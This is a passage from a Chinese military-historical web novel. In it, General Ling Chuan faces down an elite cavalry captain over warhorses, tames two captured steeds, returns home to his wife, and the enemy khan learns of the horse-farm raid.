见到轩辕孤鸿,那玄影骑校尉脸上闪过一抹意味深长的冷笑,用满是轻蔑的口吻说道:“哟!我当谁呢,原来是轩辕校尉啊!” 他认识轩辕孤鸿,轩辕孤鸿自然也认得他。 三年前,段锋因为被人抢了军功,轩辕孤鸿为其出头,结果得罪了某位大有来头的公子哥,因此受打压,被丢到云岚县那个穷乡僻壤之中。 而抢夺段锋军功之人不是别人,正是眼前这位——柴宏陉。 若非是凌川慧眼识珠,轩辕孤鸿跟段峰二人估计这一辈子都会被摁死在云岚县,再难有翻身之日。 如今,时隔三年,柴宏陉已经凭借军功,成为了玄影骑中的一名校尉,至于那些军功有多少是他自己挣来的,那就只有他自己才知道了。 尽管两人都是校尉,但轩辕孤鸿心里很清楚,两者之间根本没有可比性。 正所谓仇人相见分外眼红,三年前的恩怨让轩辕孤鸿与段锋前途尽毁,尽管他极力压制,但满腔怒火却汇聚在那双虎目之中。 柴宏陉不屑一笑,说道:“怎么?你这是不服气啊?三年前,我能把你丢到云岚县,如今,我想要玩死你依旧易如反掌!” 轩辕孤鸿双拳紧握,手臂青筋暴露,不过他还是忍住了。 “诸位,清河马场现在没有战马,而且,就算有,也不是你们想带走就带走的!”轩辕孤鸿明显是带着怒气,直面柴宏陉说道。 柴宏陉闻言,轻蔑一笑:“怎么?打了几场胜仗,就真把自己当盘菜了?” 第一卷 第316章 我凌川,丢不起这人! 随即,他扬起马鞭,直指谭学林,声音陡然拔高,带着不容置疑的威压:“你问他!云州马场,何时起不是为我玄影骑供养战马之地?莫非他凌川升了云州副将,便可坏了这铁打的规矩?” 谭学林见双方剑拔弩张,气氛紧绷如弦,忙上前一步,试图斡旋,脸上挤出一丝勉强的笑意:“大人,请您息怒,我家将军确有吩咐,云州马场现今的战马……” “聒噪!”柴宏陉尚未开口,他身后那名先前动手的亲随已然厉声打断,鞭子再次带着风声,毫不留情地朝谭学林抽去。 电光石火间,一旁的轩辕孤鸿猛地探出手,精准无比地将那呼啸的鞭梢攥入掌中。 鞭上力道让他手臂微微一震,但他目光如寒冰,死死盯住那动手的亲兵,眼中杀意骤聚,厉声喝道: “来人!” “在!”他身后十余名亲兵齐声应喝,声震四野,同时踏步向前,甲胄铿锵作响。 “守护马场!”轩辕孤鸿声音冷硬如铁,“谁敢擅闯,一律视同敌袭!” 若在以往,他或许会对威名赫赫的玄影骑心存忌惮。 然而今时不同往日,云州军早已不是昔日人人都可以踩一脚的软柿子。 此刻他脑中唯有一个念头,绝不容云州军颜面有失,更不能折了将军的威仪。 哪怕面对的是北系第一王牌——玄影骑! “唰唰唰……” 一片清脆声音响起,轩辕孤鸿身后的亲兵同时擎刀出鞘,迅速列阵,锋锐的刀锋森然指向对面那十余骑,毫不退让。 柴宏陉面对此景,脸上却无半分慌乱,反而勾起一抹轻蔑的冷笑。 他目光扫过轩辕孤鸿,如同审视蝼蚁:“呵,看来我玄影骑确是沉寂太久了,什么不入流的货色,都敢凑到跟前龇牙咧嘴了!” 他能坐上玄影骑校尉之位,虽借了几分家族势力,却绝非彻头彻尾的草包。 玄影骑作为北系军第一王牌,自有其睥睨天下的资本与骄傲,莫说是这云州边军,便是同为精锐的龙夔、虎贲二军,他们也未必真放在眼里。 玄影骑众人反应迅疾,立刻列成冲锋阵型,战刀纷纷出鞘,阳光下寒光刺目。 双方对峙,杀气弥漫,一触即发。 就在此时,远处一阵急促的马蹄声自马场大门外传来,打破了这凝固的僵局。 轩辕孤鸿抬眼望去,顿时目光一凝,谭学林更是激动地脱口喊道:“是将军!将军来了!” 柴宏陉眉头微不可察地皱起,转头看去。 只见二十余骑风驰电掣般奔来,当先一骑上的年轻人剑眉星目,身姿挺拔,虽疾驰而至却自有一股沉凝气度,想必便是那位近来在北系军中声名鹊起的云州副将凌川了。 即便如此,柴宏陉也并无多少畏惧,他毕竟是玄影骑校尉,地位超然,放在地方军中,寻常五品将军见了他,也需礼让三分。 凌川纵马直至阵前,利落地翻身下马。 他目光沉静,迅速扫过全场,将剑拔弩张的局势、自家士兵脸上的鲜血、以及对方那趾高气扬的神情尽收眼底,最后才淡淡开口: “怎么回事?” 轩辕孤鸿立即抱拳,声音带着压抑的怒意:“将军,他们开口便要强索五千匹甲等战马,还动手打伤了我们的弟兄!” 凌川视线转向那名脸上血迹未干的士兵,招了招手。 那士兵眼神躲闪,捂着脸,怯生生地走到他面前。 “叫什么名字?”凌川问道,声音平静。 “回…回禀将军,属下…王福生!”士兵声音细微,还带着一丝哽咽。 凌川看了看他脸上那道皮肉翻卷的鞭痕,问道:“疼么?” 王福生点了点头,眼眶瞬间红了,委屈的泪水在其中打转。 “疼?”凌川的声音骤然转厉,如同炸雷般响起,“疼你他娘的不知道打回来?” 王福生被吓得一哆嗦,下意识抬眼瞥向那名动手的玄影骑士兵,目光触及对方凶狠的眼神,刚刚升起的一丝血气又被畏惧压了下去。 “王福生,你听好了!”凌川字句铿锵,掷地有声,“我云州军中不要怂包软蛋!挨打,不丢人!打输了,更不要紧!但你若连抡拳打回去的胆气都没有,现在就给我脱下这身铠甲,滚出云州军!我凌川,丢不起这人!” 每一个字都像一记重锤,狠狠砸在王福生心口。 他猛地抬头,撞上凌川的目光,那目光里有关切,有鼓励,更有不容退缩的决绝。 那目光如烈阳灼眼,刺痛了他深藏的自尊。 相比之下,脸颊那火辣辣的疼痛,根本算不了什么。 王福生胸口剧烈起伏了几下,猛地一擦眼睛,重重应道:“是,将军!” 凌川身后,孟钊与沈珏会意,立刻上前,不由分说便将那名玄影骑士兵从马背上拽了下来。 那名玄影骑士兵本能地想要挣扎,但脖颈旁瞬间架上的冰冷刀锋,让他僵住了动作。 柴宏陉见状,面色终于沉了下来:“凌将军,你可要掂量清……” “我奉劝你最好闭嘴!”凌川倏然抬手,指尖直指柴宏陉,冷声打断。 自始至终,他甚至未看这位玄影骑校尉一眼。 脸上血迹斑斑的王福生,深吸一口带着铁锈和尘土气息的空气,一步步走向那名被制住的玄影骑士兵。 “啪!” 一记清脆响亮的耳光,猛地掴在那士兵脸上。 王福生几乎是铆足了全身的力气,将所有的屈辱、愤怒和刚刚鼓起的勇气尽数倾注在这一巴掌之中。 “你打我……让你打我……”王福生声音发颤,沉声怒吼,反手又是一记耳光抽去。 那玄影骑士兵被接连两记耳光打懵了,半边脸颊迅速肿起,嘴角渗出血丝。 他猛地抬头,眼中几乎喷出火来,死死瞪向王福生。 这目光反而彻底激怒了王福生,积压的恐惧与委屈瞬间决堤,他脑中一片空白,只剩下将军的话和身后那一道道云州弟兄的目光。 “你他娘的,还敢瞪我!”王福生嘶吼一声,像是要吼碎往日的怯懦,再次抬手,左右开弓。 “啪!啪!啪!” 巴掌接连不断地落下,声音响亮而刺耳。 他仿佛不知疲倦,要将所有的懦弱和愤恨彻底清算。 “够了!”柴宏陉终于按捺不住,怒喝出声。 自己的亲兵被当众如此掌掴,与直接扇他耳光无异! 第一卷 第317章 拿命来换! “够了?”凌川这才缓缓转过头,轻描淡写地扫了柴宏陉一眼,嘴角勾起一抹冰冷的弧度,“我看,还远远不够!” “凌川!你休要欺人太甚!”柴宏陉咬牙切齿,脸色铁青。 凌川不再多言,骤然出手,夺过身旁孟钊手中的战刀。 “嗤!” 刀光一闪,快如闪电,众人只觉眼前一花,紧接着便看到一抹鲜血飚射而出。 “呃啊……” 一声凄厉压抑的惨嚎爆发出来,那名动手打人的玄影骑士兵,一条手臂已被齐肩斩断,跌落淤泥。 这突如其来的狠辣一击,震住了所有人。 不仅柴宏陉瞠目结舌,连轩辕孤鸿也倒吸一口凉气。 对方,可是玄影骑的人啊! 震惊至于,所有人都感觉无比解气,特别是王福生,更是内心暖流涌动,谁也没想到凌将军,竟然会为他这个小卒出头,哪怕对方是玄影骑。 “凌—川—!”柴宏陉目眦欲裂,从牙缝里挤出声音,杀意沸腾,“你这是在向玄影骑宣战吗?” 凌川此时才正眼看向他,目光平静得令人心寒,淡淡问道:“你是何人?” “我乃玄影骑校尉,柴宏陉!”柴宏陉几乎是用吼地报出名号。 “柴宏陉?”凌川低声重复了一遍,觉得这名字确有几分耳熟。 一旁的轩辕孤鸿立刻低声提醒:“将军,三年前,便是他抢夺了段锋的军功!” 凌川眸光倏然一冷,缓缓点头,语气森然:“原来如此!” 柴宏陉虽心头一凛,面上却强自镇定,冷哼一声:“怎么?陈年旧账,凌将军今日也要翻出来清算不成?” 凌川唇角勾起一抹淡笑,摇了摇头:“那倒不必!这笔债,我不插手,留着给他们自己找你清算!” 柴宏陉端坐马背,下颌微扬,倨傲之色尽显:“好啊,我等着!就怕他们拼尽一生,也未必能爬到有资格与我对话的位置!” “玄影骑校尉,名头确实唬人!”凌川不紧不慢地自腰间取下一物,鎏金令牌在日光下泛着刺目的光泽,“也不知道,我这位陛下亲封的镇北将军,够不够资格让你下马见礼?” 龙首山河图案下方的‘镇北’二字,刺得柴宏陉瞳孔骤然收缩。 他万没料到,凌川竟会在此刻以官阶压人。 若对方仅是寻常五品将军,他自可嗤之以鼻,但镇北将军乃陛下钦封,地位尊崇,截然不同。 凌川即便即刻治他一个藐视皇权之罪,也无人能多言半句。 柴宏陉脸色青白交加,变幻片刻,终是咬牙翻身下马,单膝重重跪地,抱拳道:“末将柴宏陉,参见镇北将军!” 校尉既已行礼,其余玄影骑士卒岂敢怠慢,纷纷随之下马,垂首行礼。 这一刻,柴宏陉只觉屈辱如火,灼烧肺腑。 这番苦果,皆因他先前妄图以势压人而起,凌川不过是以其人之道还治其人之身。 凌川垂眸,凝视着跪在面前的柴宏陉,并未即刻令其起身,他就这般居高临下地审视着,一如方才柴宏陉端坐马背时的姿态。 “说吧!”凌川声音平淡,却带着不容置疑的威压,“擅闯我云州清河马场,所为何事?” “末将奉陆将军之令,前来提取战马!”柴宏陉沉声应答,特意将陆沉锋的名头搬出来,希望能让凌川有所忌惮。 然而,凌川却没有任何表示,只是继续发问:“可有北境节度府签发的手令?” “并无手令!”柴宏陉摇头道,“往年皆是如此惯例!不止云州,北境七州所有马场,对我玄影骑皆开此例!” 凌川心中冷笑,他前脚方才劫了塔拉马场,连马群都还没安顿好,玄影骑后脚便闻风而至,这嗅觉,未免太过灵敏了。 “往年是何规矩,我不管!”凌川声音陡然转沉,“云州马场的战马,吃的是云州的草,饮的是云州的水,更是云州军民耗费心血常年培育照料所得。岂容你等一句话,便欲轻易提走?” 柴宏陉试图争辩,“听闻将军此次自塔拉马场携获颇丰,我玄影骑正值战马轮换之期,故而……” 凌川直接打断其言,冷笑一声:“回去告知陆沉锋,这批战马,是我云州将士用性命换回来的。谁想要,就拿命来换!” 话已至此,凌川更是以强硬姿态直指陆沉锋,柴宏陉心知再僵持下去,不过是自取其辱。 “末将……必将将军之言带到!”他脸色铁青,不再多言,径直起身,翻身上马引着麾下十余骑,掉转马头,疾驰而去。 尘埃稍定,凌川望着那一行人远去的背影,目光微凝。 平心而论,他从未存心与陆沉锋为敌,虽至今未曾谋面,然阴差阳错之间,二人竟已步步走向对立。 先是自己收回蕲阳山铁矿,继而孙家四郎孙季璠之死,再有温砚秋之死,加之今日马场冲突……恩怨叠积,渐成难解之结。 凌川内心实则矛盾,陆沉锋终究是陆含章老将军之子,而陆老将军于他确有提携之恩,更曾向卢恽筹力荐他出任云州副将。 若他日真与陆沉锋彻底撕破脸面,乃至兵戎相见,置陆老将军于何地?这绝非凌川所愿见。 然则,无论凌川有心与否,他与陆沉锋之间的纠葛早已深缠难分。他隐隐预感到,终有一日,两人间必有一场更大的交锋。 凌川心里明白,二人矛盾之所以难调,更深处,皆因北系军那至高权柄之争。 此前,北系军上下皆视陆沉锋为北系军下一任主帅的不二人选。 可随着他凌川异军突起,声望日隆,加之有大将军卢恽筹屡番青睐赏识,种种迹象,难免令人揣测。 无形间在向军中将领传达着一个信号,那就是自己或许会成为下一任北系军统帅的第二个人选。 纵使凌川自身并无此念,然世间之事,有时自身的意愿反而无足轻重,他人之所想,方为关键。 此事于凌川而言,不过是一段无足轻重的插曲。 他转身走到王福生身边,拍了拍他的肩膀,说道:“干得不错,没有丢云州军的脸!” 看似轻描淡写的一句话,却让王福生内心激动澎湃,也正是今日的这番经历,让他打破了内心的懦弱,激活了体内的血性。 第一卷 第318章 大伙挑媳妇去! 看着柴宏陉一行远去的背影,凌川转过目光,对轩辕孤鸿说道:“告诉段锋,我把他留着,就是让你们自己亲手去讨回当年的那笔账!” 轩辕孤鸿躬身抱拳,朗声回答道:“谢将军,属下保证,绝不丢云州军的脸!” 进入马场之中,只见现场所有人一片忙碌,也难怪谭学林都自己上手了。 “老谭!”凌川叫了一声:“这两万多匹战马,可是兄弟们用命换来的,你可要给我照顾好了!” 凌川此话并非夸大其词,此次行动,云州军近三百人战死,数百人受伤,或许在外人看来,获得如此丰硕的战果,付出一定代价也是值得的。 但,在凌川心里,这两者根本不能放在一起衡量,不过他也清楚,打仗不是纸上谈兵,更不是沙盘推演,想要不死人是不可能的。 谭学林一脸认真,抱拳说道:“将军放心,您把这份家底交给我,谭学林一定不负将军重托!” “马群之中,不少岁口已足,可以着手驯练了,驯马之事我是外行,就不瞎指挥了,但我要求每一匹马上了战场,都要成为云州军的强大助力!”凌川说道。 谭学林拍着胸口保证道:“将军放心,包在我身上!” “还有,你安排人给咱们云州将领每人挑两匹坐骑!”凌川再次交代。 “属下正要为将军禀报此事,我已经让人从两处马场进行清点,结果挑选出千余匹优质大宛马,其中还有近五十匹汗血马!” 凌川闻言也顿时一愣,“千余匹?优质?汗血马?” 谭学林连连点头,说道:“也就是比甲等马还要高一个级别的战马,胡羯军中,也只有千夫长以上的将领,才有资格分到!” 听到这话,别说是一众亲兵,就算是凌川也倍感震惊。 谭学林激动笑道:“将军这次带回来的,可比咱们马场自己的马好太多了,六成清一色的草原马,四成大宛马,还有部分汗血马,北境七州其他马场要是知道这一消息,估计得流哈喇子!” “走,带我去看看!”凌川也十分激动,都说宝马配英雄,对于骑兵而言,一匹好马,一把好刀,那都是宝贝。 特别是战马,更是被骑兵当做小媳妇一样照顾,恨不得抱着睡觉。 来到马场之中,不少士兵正在对那些缴获的现役战马进行试骑,一来是检验其各方面能力,同时也是查看有没有暗伤隐疾。 马厩之中,一排排高头大马正悠闲吃着草料,其中大部分都是大宛马,它们体型高大、四肢修长,周身肌肉充满力量,形成完美的线条。 哪怕就怎么静静站在那里,也是鹤立鸡群一般的存在。 一众亲兵见到这等骏马,无不走不动路,眼神中写满了激动与羡慕。 凌川甚至听到不少人吞口水的声音,笑道:“别光看,赶紧挑媳妇去啊!” 此言一出,一众亲兵宛如脱缰野马,朝着马厩飞奔而去。 作为凌川的亲兵队,他们自然得配上优质战马,很快,众人都挑选了自己心仪的坐骑。 见他们一个个高兴得嘴都咧到后牙槽,凌川也很是欣慰。 轩辕孤鸿也挑选了一匹体型健壮的大宛马,四蹄踏雪、高大威猛,配合轩辕孤鸿那魁梧体型,说不出的威武霸气。 “不错,有大将军的气势!”凌川点头笑道。 “哈哈……我这坐骑虽不错,可跟将军的比起来,那就差远了!”轩辕孤鸿指了指不远处,笑道。 凌川抬眼看去,只见两名士兵牵着两匹健硕神驹朝着这边走来,两匹战马皆是高大健硕的神驹,一匹漆黑如墨,没有一丝杂毛,毛发如绸缎般乌黑泛光;另一匹纯白如雪,同样没有一丝杂色,亮得刺眼。 仅是一眼,凌川就彻底被吸引住了,哪怕是他这个不懂马的人,也能看出,此乃举世难求的神骏。 凌川上前仔细端详着这两匹神驹,那匹黑马格外雄壮,肩高足有六尺,浑身肌肉虬结,每一块都蕴藏着惊人的爆发力。 它的毛色黑得纯粹,在日光下泛着乌金般的光泽,最引人注目的是那双炯炯有神的眼睛,眼神锐利如鹰,透着一股桀骜不驯的野性。 当凌川靠近时,它立即警觉地竖起耳朵,鼻孔张大喷着粗气,前蹄不安地刨着地面,显露出西域大宛马特有的高傲与警惕。 “这是西域大宛马与优质草原马的混种!”谭学林介绍道:“大宛马以速度和爆发力著称,而草原马耐力极佳。这匹混血继承了双方优点,体魄雄健,爆发力惊人,尤其冲锋陷阵,堪称神勇!” “唯一的缺陷就是性格较为暴烈,不过一旦认定主子,将跟随一生,极为护主!” 凌川微微颔首,伸手想抚摸它的颈部,却遭黑马猛地甩头避开,发出一声威胁性的低嘶,露出整齐的白牙,仿佛是在警告。 另一边,那匹白马则展现出完全不同的气质。 它肩高略矮,约五尺七八,但身型匀称优雅,线条流畅,通体雪白,皮薄毛细,在阳光下甚至能看见皮下淡青色的血管。 最特别的是它的眼睛,大而温润,眼神聪慧而温和,透着汗血马特有的灵性,凌川轻轻抚摸它时,它竟优雅地转过头,轻轻蹭了蹭凌川的手掌,显得温顺亲人。 “将军,这是纯种的汗血宝马!”谭学林语气中充满赞叹,“以日行千里、汗如血色而闻名,这次带回来的马群中,虽也有不少汗血马,但血统纯正的却不多,这般英武的神骏,更是极为罕见!” 凌川点了点头,汗血马之威名享誉天下,哪怕没见过,但绝大多数人也都听说过。 谭学林见状,上前介绍道:“属下已经向牧奴们打听过了,这两匹神驹乃是拓跋桀亲自下令给新任大汗驯的坐骑,刚驯好准备送往天汗城,没想到竟然被您给截胡了!” 凌川也顿感意外,难怪这两匹神驹如此鹤立鸡群,原来是拓跋青霄预订的坐骑,看来,这是老天爷眷顾,要让自己吃一回细糠啊! 第一卷 第319章 黑风,照雪! “将军放心,这两匹马都已经被驯服,不过,驯服期间一直都是蒙着眼,以至于它们还没有认主!”谭学林说道。 凌川点了点头,既然是给拓跋青霄驯的御马,那自然有着极其严格的规定。 “我来试试!” 凌川悄悄绕到大黑马左侧,忽然一把抓住马鞍,翻身便骑了上去。 霎时间,大黑马发出一声又高又怒的长嘶,声音震得人耳膜发麻! 只见它猛地扬起了前蹄,硕大的身体几乎直立起来,凌川赶紧夹紧马腹,一只手死死抓住鞍桥,这才没有被甩飞出去。 然而,那大黑马四蹄刚一落地,身体就像离弦之箭一样射了出去,根本不用人催就没命地冲向场中,速度快得惊人。 凌川心里一紧,这马野性果然够足。 他立刻伏低身子,几乎贴在马背上,放稳重心,一手死抓着鞍桥,指节都随之发白,另一手轻轻带着缰绳,随着它的节奏调整重心。 黑马越跑越快,耳边风声呼呼作响,刮得人脸生疼。 它好几次猛地跳起来、急转弯、使劲颠簸,一心想把背上的凌川甩下,吓得围观士兵惊呼一片。 一众亲兵也没想到这战马竟然如此暴躁,沈珏更是担忧地说道:“将军的骑术可是稀疏平常,老谭,不会有事吧?” “啊?大人怎么不早说啊?”谭学林闻言顿时一惊。 “我听你说都驯服了,哪曾想这家伙如此认生?”沈珏也是满脸担忧地说道。 谭学林紧盯着场里那道左冲右突的黑影,手心全是汗,嘴里念念有词:“祖宗哎,你可稳着点,千万别摔着将军..……” 凌川感觉胯下神骏速度越来越快,这种风驰电掣的感觉,简直不要太爽,但他却不敢掉以轻心,因为,一旦被摔下去,不死也要脱层皮。 大黑马似乎彻底被激怒,只见它不断跃起,中途更是频繁改变方向、颠簸身躯,试图将凌川甩掉。 凌川骑术确实稀疏平常,但好在身手不错,一只手死死抓住马鞍,以至于好几次险些被摔下去,却都有惊无险地回到了马背上。 一直围着马场跑了四五圈,大黑马丝毫没有停下的意思,反而是在不断提速,将脚力发挥到了极致,以至于马背上的凌川都能感受到,它强健的肌肉在奔跑中如波浪般滚动跳跃。 等到它那股暴躁劲稍微消了点,呼吸也不再那么急促,凌川才用手轻轻拍着它脖子,手指慢慢梳理着被汗水打湿的鬃毛,然后慢慢收紧缰绳,柔声安抚:“好家伙,累了吧?慢点,慢点…….” 黑马的速度总算逐渐慢了下来,步伐也不再那么狂野,虽然依旧喷着粗气,但不再试图甩掉背上的骑手了。 “吁……!”凌川沉稳地喊了一声,轻轻一提缰绳。 黑马终于在厩前稳稳停住,浑身热气腾腾,汗水顺着肌肉线条往下淌。 这一通折腾,凌川喘得比大黑马还厉害,后背都湿透了,他定了定神,才翻身下马,笑骂道:“好你个暴脾气!可真够劲!” 他顾不上歇口气,亲手捧起一捧豆料,喂到它嘴边。 大黑马先警惕地闻了闻,抬起头用乌黑的大眼睛看了看凌川,眼神中的敌意消退了不少,这才低头,地把豆料吃了个干净,甚至还轻轻舔了舔凌川的手心。 谭学林长舒一口气,抹着汗说:“肯吃主人手里的食,就是认主的开始。将军,它这是接受您了!” 待这一捧豆料被吃干净后,凌川又亲自捧起清水为它洗了洗鼻,大黑马舒服地晃了晃脑袋,打了个响鼻。 “跟着我,我不会亏待你的,而且我会让你的威名响彻沙场!”凌川拍了拍大黑马的肩膀,说道。 大黑马似乎听懂了他的话,竟然用脑袋蹭了蹭凌川,不过,似乎没把握好力道,竟然把凌川顶得一个踉跄。 它似乎也意识到闯了祸,目光躲闪,有点不好意思地低下头,耳朵往后贴了贴。 “瞧你那熊样!”凌川上前搂着它的脖子便是一阵搓。 “以后,你就叫黑风吧!”凌川揪着它的耳朵说道:“就像黑色的疾风一样,让敌人闻风丧胆!” 随即,他来到那匹汗血宝马跟前,如果说,黑风是个粗犷大汉,那么,它便是精致的富贵人家的公子哥,显得十分文静。 当然,它的温顺,也是相较于黑风,实际上这家伙看似文静的表面下,依旧有着可以碾压其他绝大部分战马的能力。 汗血宝马以速度快、耐力好出名,传说能日行四五百里,而且脚步稳,什么路都能跑,加上性子相对温和,历来是王公贵族们抢破头的好马。 更有传言,草原部落为了争夺一匹汗血马,甚至不惜发动战争。 它扬起优雅的头颈看着凌川,眼里带着点期待,轻轻喷了个鼻息,前蹄优雅地在地上点了点。 “来吧,总不能偏心!”凌川笑道,轻快地跃上马背。 这马的背比黑风稍窄,但更贴合人体,坐上去很舒服,他轻轻一夹马腹,汗血马立刻迈开步子,轻快流畅地小跑起来,步伐平稳得让人惊讶。 越跑越快,凌川只觉得稳当得很,几乎感觉不到颠簸,只有风从耳边掠过。 汗血宝马果然名不虚传,全力跑起来速度竟一点也不比黑风慢,而且骑起来特别平稳舒服,转弯时灵活自如,响应极其灵敏,凌川甚至敢放开一只手,感受着驰骋的快感。 跑了几圈后,凌川勒停马,同样亲手喂了豆料,给它洗鼻,梳理着银白色的鬃毛。这马温顺地低着头享受,时不时用柔软的嘴唇碰碰凌川的手。 “你就叫照雪吧!”凌川轻轻摸着它光滑的脖子,“奔跑起来像一道白光映照雪地,又快又俊!” 照雪轻嘶一声,用头蹭蹭凌川的胸膛,表示认可。 凌川看看旁边不耐烦喷鼻子、刨蹄子的黑风,又看看优雅静立的照雪,笑道:“从今往后,你俩就跟着我,定不负你们千里神驹的威名!” 两匹马似乎听懂了,黑风昂首长嘶,声震四野;照雪则轻嘶回应,清亮悦耳。 周围的士兵见状,纷纷欢呼叫好,恭喜将军喜得两匹神驹。 第一卷 第320章 憨态可掬小不点! 就在这时,凌川注意到马厩角落里有个小不点。 起初他以为那是只走失的小马驹,待定睛细看,才发现竟是一匹成年矮马。 它的肩高不过三尺,正努力踮着蹄子,蹦跳着想够到食槽里的草料,那憨态可掬的模样让人忍俊不禁。 “老谭,这小不点从何而来?”凌川好奇地问道。 谭学林笑着解释:“卑职查阅典籍方知,此马名为果下马,产于中原南方山区,即便成年体型也不过如此,常用于矿洞驮运,因其性情温顺、模样可人,不少富贵人家也爱养作玩赏。” 凌川自然知道这马的来历,只是没想到会在北疆草原见到这一品种。 “咱们的马群中还有多少这样的马?” “卑职问过牧奴了,据说是几年前从西域传来。因不能作为战马,数量稀少,整个马群约莫二十来匹!” “这匹我要了,带回云州去!”凌川说道。 “好嘞!”谭学林满口应下。 “另外,再挑几匹体力好的辕马,我夫人的马车比较费马!”凌川又嘱咐道。 谭学林面露不解,按理说,辕马多在城内或官道行走,对马匹品质要求并不高。 轩辕孤鸿笑着解释道:“老谭有所不知,夫人的护卫翠花姑娘体型惊人,她往车上一坐,寻常辕马可吃不消!” 谭学林似懂非懂地点头:“没问题,卑职回头亲自挑选,送到将军府上。” 清河县最负盛名的当属鲜嫩清香的清河鱼。 凌川带着众人来到一家老字号,轩辕孤鸿、谭学林等尽数到场。 几大盆鲜鱼很快被吃得汤都不剩,老板得知是凌将军光临,笑得合不拢嘴,连连加了几次鱼,仍乐此不疲。 凌川端起酒碗,朗声道:“兄弟们,来,咱们一起敬老谭一碗!” 谭学林受宠若惊,连忙端着酒碗起身:“将军、各位大人言重了,这都是卑职分内之事!” 众人一饮而尽。凌川示意他坐下,说道:“老谭,如今咱们家底是厚实了,但要打造三万铁骑,这些马还远远不够。” 此次缴获现役战马八千匹,可直接投入军中,加上云州军原有的一万三千多匹,战马总数突破两万。 而且这次缴获的战马,品质远比云州原有的战马高出不少,最重要的是,此次将塔拉马场洗劫一空,云州两座马场便有了足够的马种,往后几年便能持续为军中输送战马。 谭学林点头道:“将军给卑职五年时间,五年后,定让三万云州铁骑人人配双骑!” 凌川颔首:“眼下先为云州将领配备良驹,再将马群中适龄战马加紧训练,尽快投入军中!” “没问题!”谭学林信心满满地保证,“卑职粗略统计过,约有一万二千余匹马可受训。待马群适应水土、安顿妥当后,便立即着手训练。” 凌川轻拍他的肩膀:“辛苦你了!” 谭学林憨厚一笑:“这都是分内之事。将军若真体恤卑职,每月赏我两斤狼血便好!” “哈哈哈,瞧你说的!”凌川笑着对孟钊道,“回头每月送两坛狼血过来!” 随即又正色告诫,“酒我包了,但你可不能终日醉酒误事。” 谭学林连忙起身:“将军放心,每日二两,绝不多饮!” 午饭后,凌川便带着一众亲兵踏上云州的归程。 亲兵们有了新坐骑,个个欢天喜地,凌川也不例外,两匹神驹换着骑。 平日赶路自然是骑照雪更舒适,无论什么路面都能保持平稳,黑风则像个躁动的少年,根本不顾主人感受,骑一天下来怕是屁股都要开花。 那小不点果下马则一直屁颠屁颠地跟着队伍,它虽矮小,速度却不慢,当然,若队伍全力奔驰,它定然是跟不上的。 天黑前,众人抵达云州城,凌川回到将军府,还未来得及卸甲,苏璃便迎了上来。 “相公!” 尽管凌川早已派人回云州报平安,但直到亲眼见到丈夫的那一刻,苏璃悬着的心才真正落下。 她快步上前,眼中含着隐忍多时的泪光,却只是仔细端详着凌川的脸庞,仿佛要确认他是否安好。 凌川伸手将妻子揽入怀中,感受着她微微颤抖的身躯,轻拍她的背柔声道:“让娘子担心了!” 此刻的他,脑海中不禁浮现出在高平县那个夜晚的场景,内心涌起深深的愧疚。 尽管那晚之事是在他完全不知情的情况下发生,但确确实实发生了,这是不争的事实。 “平安回来就好!”苏璃抬起头,眼中水光潋滟却强忍着不让泪水落下。 她轻轻为凌川拂去肩上的征尘,动作温柔而细致:“我已备好热水,相公快去洗个澡吧!” 随后,苏璃亲手为凌川卸甲,她的指尖轻柔地划过冰冷的铠甲,每一个动作都满含着体贴与关爱。 可她越是这般温柔周到,凌川心中的愧疚就越发深重。 “相公可有烦心事?为何见你眉间不展?”苏璃柔声问道,敏锐地察觉到了凌川情绪的低落。 凌川眼神微闪,叹息道:“此次有三百多云州儿郎战死关外。我带他们出征,却没能将他们全都带回来!” “相公不必过于自责,你已经做得很好了!”苏璃温言宽慰,手指轻轻抚平他紧蹙的眉宇,“每一位将士都明白征战沙场的风险,他们的牺牲是为了守护更多的家庭。” “日后咱们的酿造司和织造坊雇人手时,优先考虑军户家庭,特别是战死将士的家人!”凌川说道。 “嗯,即便相公不说,我也会如此安排!”苏璃点头应道,“当年父亲就常为此事发愁,苦于始终未能想出解决之策。” 沐浴更衣后,二人共用晚膳,随后便进屋歇息。 分别多日,自有说不完的话语,道不尽的思念。 昏黄的油灯下,两人的身影交织在一起,诉说着别离期间的牵挂与担忧。 凌川轻柔地抚过苏璃的长发,指尖带着无尽的怜惜,苏璃则将脸埋在他的颈间,呼吸着令人安心的气息,仿佛要将这些时日的思念都在这一刻弥补回来。 他们的亲密缠绵如水般温柔,每一个触碰都饱含着深情与珍重。 摇曳的灯光照射着床榻之上的温馨画面,二人肢体交缠,在无声中传递着彼此的爱意。 这一夜,无需更多言语,所有的思念与爱意,都得到了最好的释放。 第一卷 第321章 拓跋青霄! 就在凌川一行安然返回云州之际。 远在数千里之外的天汗城,一封紧急密报,被以最快的速度送入了巍峨而森严的天虎帝宫,最终呈递至大汗拓跋青霄的桌案之上。 拓跋青霄打开密报,目光扫过其上文字,原本威严肃穆的脸色以肉眼可见的速度阴沉下来,仿佛暴风雨前的天空。 塔拉马场被劫掠一空,妹妹拓跋青鸾竟被周人掳走…… 这消息于他个人而言,不啻晴天霹雳;于整个的胡羯帝国而言,更是前所未有的奇耻大辱! 他握着羊皮密报的手因极致的愤怒而微微颤抖,指节捏得发白,深邃的眼眸之中,骇人的杀意如实质般迸发,令殿内侍立的金甲卫士都下意识地屏住了呼吸。 许久,拓跋青霄才强行压下翻腾的气血,声音低沉而冰冷地从牙缝中挤出几个字:“请帝师入宫!” 不多时,一名手持麈尾、身形清瘦的中年男子缓步走入帝宫。 他容貌平平无奇,身着中原锦缎,唯有一双眼睛,深邃如同万年不起波澜的古井寒潭,仿佛能洞悉人心深处的一切隐秘,令人不敢直视。 来人正是仅凭半卷残羊皮治国策,便辅佐前任大汗一统草原各部,立下不世功勋,被尊为胡羯帝师的王浮舟。 新汗继位,对他依然礼遇有加,尊为帝师,地位超然。 “参见大汗!”王浮舟单手抚肩,微微躬身行礼,动作从容不迫。 “国师,你看看吧!”拓跋青霄抬手,声音中压抑着怒火。 一名金甲卫士恭敬地双手托起密信,送到王浮舟面前。 王浮舟接过,目光平静地扫过其上内容,眼神几不可察地微微一眯,如同静湖投入一颗细微的石子,旋即恢复深不见底的平静,无人能窥探他此刻内心的丝毫波澜。 “砰!” 拓跋青霄一掌重重拍在狰狞的虎头王座扶手上,咬牙喝道,“这该死的凌川屡屡坏我大事,让我军损兵折将!究竟是此子过于妖孽难测,还是他拓跋桀……真的老了?” “大汗,息怒!”王浮舟的声音平淡无波,却带着一种奇异的安抚力量,“事既已发生,怒,于事无补!” 